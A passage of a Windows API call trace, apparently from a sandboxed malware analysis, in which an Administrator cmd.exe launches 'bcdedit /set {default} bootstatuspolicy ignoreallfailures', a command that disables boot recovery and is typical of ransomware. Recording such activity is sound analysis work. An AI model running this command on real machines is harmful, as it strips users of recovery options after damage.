dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.180] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.180] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e388, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0279.180] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.180] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.180] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.180] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e38a, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0279.180] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.180] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.180] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.180] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e38c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0279.180] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.180] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.180] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.180] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e38e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0279.180] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.181] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.181] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.181] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e390, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0279.181] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.181] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.181] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.181] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e392, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0279.181] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.181] GetFileType (hFile=0xb0) returned 0x3 [0279.181] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.181] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.181] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.181] GetFileType (hFile=0xbc) returned 0x3 [0279.181] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="bcdedit /set {default} bootstatuspolicy ignoreallfailures\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcdedit /set {default} bootstatuspolicy ignoreallfailures\n", lpUsedDefaultChar=0x0) returned 59 [0279.181] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x14f4f8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f4f8*=0x3a, lpOverlapped=0x0) returned 1 [0279.181] GetProcessHeap () returned 0x270000 [0279.181] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4012) returned 0x290e70 [0279.181] GetProcessHeap () returned 0x270000 [0279.181] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x290e70 | out: hHeap=0x270000) returned 1 [0279.181] GetProcessHeap () returned 0x270000 [0279.181] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0) returned 0x2897c0 [0279.181] GetProcessHeap () returned 0x270000 [0279.182] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284610 [0279.182] GetProcessHeap () returned 0x270000 [0279.182] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x76) returned 0x2899d0 [0279.183] GetConsoleOutputCP () returned 0x1b5 [0279.183] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0279.183] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0279.183] GetConsoleTitleW (in: lpConsoleTitle=0x14f4b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0279.183] GetProcessHeap () returned 0x270000 [0279.183] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x28aa10 [0279.183] GetProcessHeap () returned 0x270000 [0279.183] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x86) returned 0x289480 [0279.183] GetProcessHeap () returned 0x270000 [0279.183] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x420) returned 0x271320 [0279.183] SetErrorMode (uMode=0x0) returned 0x0 [0279.183] SetErrorMode (uMode=0x1) returned 0x0 [0279.183] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x271330, lpFilePart=0x14ed40 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x14ed40*="system32") returned 0x13 [0279.183] SetErrorMode (uMode=0x0) returned 0x1 [0279.183] GetProcessHeap () returned 0x270000 [0279.183] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x271320, Size=0x48) returned 0x271320 [0279.184] GetProcessHeap () returned 0x270000 [0279.184] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x271320) returned 0x48 [0279.184] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0279.184] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0279.184] GetProcessHeap () returned 0x270000 [0279.184] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x104) returned 0x285b70 [0279.184] GetProcessHeap () returned 0x270000 [0279.184] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1f8) returned 0x289be0 [0279.184] GetProcessHeap () returned 0x270000 [0279.184] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289be0, Size=0x106) returned 0x289be0 [0279.184] GetProcessHeap () returned 0x270000 [0279.184] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289be0) returned 0x106 [0279.184] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0279.184] GetProcessHeap () returned 0x270000 [0279.184] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xe8) returned 0x289d00 [0279.184] GetProcessHeap () returned 0x270000 [0279.184] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289d00, Size=0x7e) returned 0x289d00 [0279.184] GetProcessHeap () returned 0x270000 [0279.184] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289d00) returned 0x7e [0279.184] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0279.184] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0x285c80 [0279.184] FindClose (in: hFindFile=0x285c80 | out: hFindFile=0x285c80) returned 1 [0279.184] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0xffffffffffffffff [0279.185] GetLastError () returned 0x2 [0279.185] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eab0) returned 0x285c80 [0279.185] FindClose (in: hFindFile=0x285c80 | out: hFindFile=0x285c80) returned 1 [0279.185] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0279.185] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0279.185] GetConsoleTitleW (in: lpConsoleTitle=0x14f000, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0279.185] GetProcessHeap () returned 0x270000 [0279.185] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x21c) returned 0x271380 [0279.185] GetConsoleTitleW (in: lpConsoleTitle=0x271390, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0279.185] GetProcessHeap () returned 0x270000 [0279.185] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x271380, Size=0xec) returned 0x271380 [0279.185] GetProcessHeap () returned 0x270000 [0279.185] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x271380) returned 0xec [0279.185] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - bcdedit /set {default} bootstatuspolicy ignoreallfailures") returned 1 [0279.186] GetProcessHeap () returned 0x270000 [0279.186] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x271380 | out: hHeap=0x270000) returned 1 [0279.186] InitializeProcThreadAttributeList (in: lpAttributeList=0x14edb8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14ed78 | out: lpAttributeList=0x14edb8, lpSize=0x14ed78) returned 1 [0279.186] UpdateProcThreadAttribute (in: lpAttributeList=0x14edb8, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ed68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14edb8, lpPreviousValue=0x0) returned 1 [0279.186] GetStartupInfoW (in: lpStartupInfo=0x14eed0 | out: lpStartupInfo=0x14eed0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb0, hStdOutput=0xbc, hStdError=0xbc)) [0279.186] GetProcessHeap () returned 0x270000 [0279.186] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284640 [0279.186] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0279.186] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0279.186] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0279.186] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0279.186] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0279.186] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0279.186] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0279.186] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0279.186] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0279.186] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0279.187] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0279.188] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0279.188] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0279.188] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0279.188] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0279.188] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0279.188] GetProcessHeap () returned 0x270000 [0279.188] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284640 | out: hHeap=0x270000) returned 1 [0279.188] GetProcessHeap () returned 0x270000 [0279.188] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x12) returned 0x289510 [0279.188] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x14edf0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit /set {default} bootstatuspolicy ignoreallfailures", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14eda0 | out: lpCommandLine="bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0x14eda0*(hProcess=0x54, hThread=0x50, dwProcessId=0x394, dwThreadId=0x744)) returned 1 [0279.219] CloseHandle (hObject=0x50) returned 1 [0279.219] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0279.219] GetProcessHeap () returned 0x270000 [0279.219] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288980 | out: hHeap=0x270000) returned 1 [0279.219] GetEnvironmentStringsW () returned 0x288980* [0279.220] GetProcessHeap () returned 0x270000 [0279.220] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x28b240 [0279.220] FreeEnvironmentStringsW (penv=0x288980) returned 1 [0279.220] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e6a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e6a8, ReturnLength=0x0) returned 0x0 [0279.220] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e6e0, nSize=0x380, lpNumberOfBytesRead=0x14e6a0 | out: lpBuffer=0x14e6e0*, lpNumberOfBytesRead=0x14e6a0*=0x380) returned 1 [0279.220] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0279.933] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ece8 | out: lpExitCode=0x14ece8*=0x0) returned 1 [0279.933] CloseHandle (hObject=0x54) returned 1 [0279.934] _vsnwprintf (in: _Buffer=0x14ef58, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ecf8 | out: _Buffer="00000000") returned 8 [0279.934] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0279.934] GetProcessHeap () returned 0x270000 [0279.934] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b240 | out: hHeap=0x270000) returned 1 [0279.934] GetEnvironmentStringsW () returned 0x288980* [0279.934] GetProcessHeap () returned 0x270000 [0279.934] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x28b240 [0279.934] FreeEnvironmentStringsW (penv=0x288980) returned 1 [0279.934] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0279.934] GetProcessHeap () returned 0x270000 [0279.934] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b240 | out: hHeap=0x270000) returned 1 [0279.934] GetEnvironmentStringsW () returned 0x288980* [0279.935] GetProcessHeap () returned 0x270000 [0279.935] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x28b240 [0279.935] FreeEnvironmentStringsW (penv=0x288980) returned 1 [0279.935] GetProcessHeap () returned 0x270000 [0279.935] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289510 | out: hHeap=0x270000) returned 1 [0279.935] DeleteProcThreadAttributeList (in: lpAttributeList=0x14edb8 | out: lpAttributeList=0x14edb8) [0279.935] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0279.936] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.936] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0 [0279.937] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.937] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0279.937] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.937] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0279.937] GetConsoleOutputCP () returned 0x1b5 [0279.937] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0279.937] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0279.937] GetProcessHeap () returned 0x270000 [0279.937] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289d00 | out: hHeap=0x270000) returned 1 [0279.938] GetProcessHeap () returned 0x270000 [0279.938] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289be0 | out: hHeap=0x270000) returned 1 [0279.938] GetProcessHeap () returned 0x270000 [0279.938] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285b70 | out: hHeap=0x270000) returned 1 [0279.938] GetProcessHeap () returned 0x270000 [0279.938] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x271320 | out: hHeap=0x270000) returned 1 [0279.938] GetProcessHeap () returned 0x270000 [0279.938] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289480 | out: hHeap=0x270000) returned 1 [0279.938] GetProcessHeap () returned 0x270000 [0279.938] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28aa10 | out: hHeap=0x270000) returned 1 [0279.938] GetProcessHeap () returned 0x270000 [0279.938] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2899d0 | out: hHeap=0x270000) returned 1 [0279.938] GetProcessHeap () returned 0x270000 [0279.938] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284610 | out: hHeap=0x270000) returned 1 [0279.938] GetProcessHeap () returned 0x270000 [0279.938] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2897c0 | out: hHeap=0x270000) returned 1 [0279.938] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f218 | out: _Buffer="\r\n") returned 2 [0279.938] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.938] GetFileType (hFile=0xbc) returned 0x3 [0279.938] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.938] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0279.939] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f1e8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f1e8*=0x2, lpOverlapped=0x0) returned 1 [0279.939] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0279.939] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0279.939] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f228 | out: _Buffer="C:\\Windows\\system32") returned 19 [0279.939] _vsnwprintf (in: _Buffer=0x49f8eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x14f228 | out: _Buffer=">") returned 1 [0279.939] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.939] GetFileType (hFile=0xbc) returned 0x3 [0279.939] _get_osfhandle (_FileHandle=1) returned 0xbc [0279.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0279.939] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x14f218, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f218*=0x14, lpOverlapped=0x0) returned 1 [0279.939] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.939] GetFileType (hFile=0xb0) returned 0x3 [0279.939] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.940] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.940] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="bcdedit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.940] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.940] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.940] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="cdedit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.940] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.940] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.940] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr="dedit /set {default} bootstatuspolicy ignoreallfailures\n") returned 1 [0279.940] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.940] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.940] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, 